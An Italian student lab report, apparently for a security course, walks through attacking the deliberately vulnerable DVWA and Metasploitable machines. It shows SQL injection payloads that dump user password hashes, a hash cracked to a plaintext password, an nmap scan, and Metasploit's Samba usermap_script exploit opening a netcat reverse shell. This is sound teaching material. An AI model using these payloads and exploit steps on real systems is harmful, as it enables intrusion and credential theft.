## D4 Progetto

Immagine che contiene testo, schermata, Carattere, algebra

Descrizione generata automaticamente

Dopo aver cambiato gli indirizzi IP come richiesti da consegna, sono entrata nella web application DVWA dal browser di Kali all’indirizzo <http://192.168.13.150>  
Clicco su DVWA e accedo come Admin ( ID: admin e pass: password ), cambio il security level da high a low.

Immagine che contiene testo, software, Software multimediale, Icona del computer

Descrizione generata automaticamente

Immagine che contiene testo, schermata, software, Pagina Web

Descrizione generata automaticamente

Per trovare la lista degli utenti utilizzo un payload.

OR ‘1’ = ‘1 è un payload, cioè una serie di caratteri malevoli che vengono inseriti in un campo di input dell’applicazione per sfruttare una possibile vulnerabilità SQL ( non metto gli apici all’inizio e alla fine perché sono già sottintesi ). Questo payload viene utilizzato per creare una SQL che è sempre vera. Quando viene inserito in un campo di input dell’applicazione vulnerabile, esso modifica la query SQL in modo che restituisca i dati desiderati dalla tabella, ignorando qualsiasi condizione di filtro o restrizione.

( ‘ ) questo carattere è utilizzato per terminare una stringa SQL corrente. Nel caso in cui l’applicazione sia vulnerabile, l’obbiettivo è rompere la query SQL corrente per inserire una parte malevola.   
( OR ) è un operatore logico che indica una condizione vera se una delle due espressioni è vera, in questo caso viene utilizzato per creare una condizione sempre vera. Qualunque cosa segua OR sarà considerata vera.   
( ‘1’ ) è un valore costante per creare un’affermazione vera.  
( = ’1 ) viene creata una condizione di uguaglianza che confronta il valore nel campo del database con il valore 1, poiché 1 è considerato vero, questa condizione è sempre vera.

Immagine che contiene testo, schermata, software, Pagina Web

Descrizione generata automaticamente

UNION SELECT user, password FROM users# è un payload che mi permette di trovare le password criptate degli utenti.  
Questo combina i risultati della query SQL dell’applicazione con i risultati di una query SQL personalizzata che seleziona i nomi utente ( user ) e le password ( password ) dalla tabella users nel database.

( UNION ) è un operatore che viene utilizzato per combinare i risultati di due o più query SQL in un'unica tabella risultante. In questo caso, stiamo cercando di combinare i risultati della query SQL dell’applicazione con i risultati di una nuova query che stiamo inserendo manualmente.  
( SELECT user, password ) questa parte del payload rappresenta la query SQL che stiamo cercando di eseguire manualmente. Stiamo cercando le colonne user e password dalla tabella users. La colonna user presumibilmente rappresenta il nome dell’utente mentre la colonna password contiene le password degli utenti.  
( FROM users ) questa parte specifica da quale tabella stiamo cercando di selezionare i dati.

( # ) è un carattere di commento SQL che viene utilizzato per terminare la query e commentare eventuali testi rimanenti della query.

Immagine che contiene testo, schermata, Sito Web, Pagina Web

Descrizione generata automaticamente

Immagine che contiene testo, schermata, software, Sito Web

Descrizione generata automaticamente

Dopo aver trovato l’hash della password di Pablo Picasso 0d107d09f5bbe40cade3de5c71e9e9b7 bisognava decodificarla, per farlo ho utilizzato il sito CrackStation, la password è letmein. Come da screen ho loggato nell’account di Pablo Picasso con l’admin: pablo e come password: letmein.

Immagine che contiene testo, schermata, Carattere, documento

Descrizione generata automaticamente

Immagine che contiene testo, schermata, Carattere, software

Descrizione generata automaticamente

Per prima cosa ho fatto una scansione delle porte sulla macchina Metasploitable utilizzando nmap 192.168.13.150, identificando così le porte aperte e i servizi in ascolto sulla macchina. Dalla scansione trovo la porta 445/tcp   
(quella richiesta nell’esercizio).

Immagine che contiene testo, schermata, software, Software multimediale

Descrizione generata automaticamente

Immagine che contiene testo, schermata, software, Software multimediale

Descrizione generata automaticamente

Entro dentro MSFConsole con il comando msfconsole, una volta dentro utilizzando show payloads per vedere i vari payloads

Immagine che contiene testo, schermata, software, Software multimediale

Descrizione generata automaticamente

Con il comando use exploit/multi/samba/usermap\_script ho eseguito un exploit per sfruttare la vulnerabilità del servizio Samba attivo sulla porta TCP 445, in automatico usa il payload cmd/unix/reverse/\_netcat.  
Con il comando show options avrei potuto verificare i parametri..  
Dopo aver selezionato il modulo, ho configurato l’indirizzo IP dell’host attaccante che ascolterà le connessioni set LHOST 192.168.13.100, la porta in ascolto LPORT 445 e infine l’host della macchina bersaglio set RHOST 192.168.13.150.   
Infine, ho eseguito l’exploit, avviando così una sessione di shell sul bersaglio, consentendomi di eseguire comandi sulla macchina tipo ifconfig.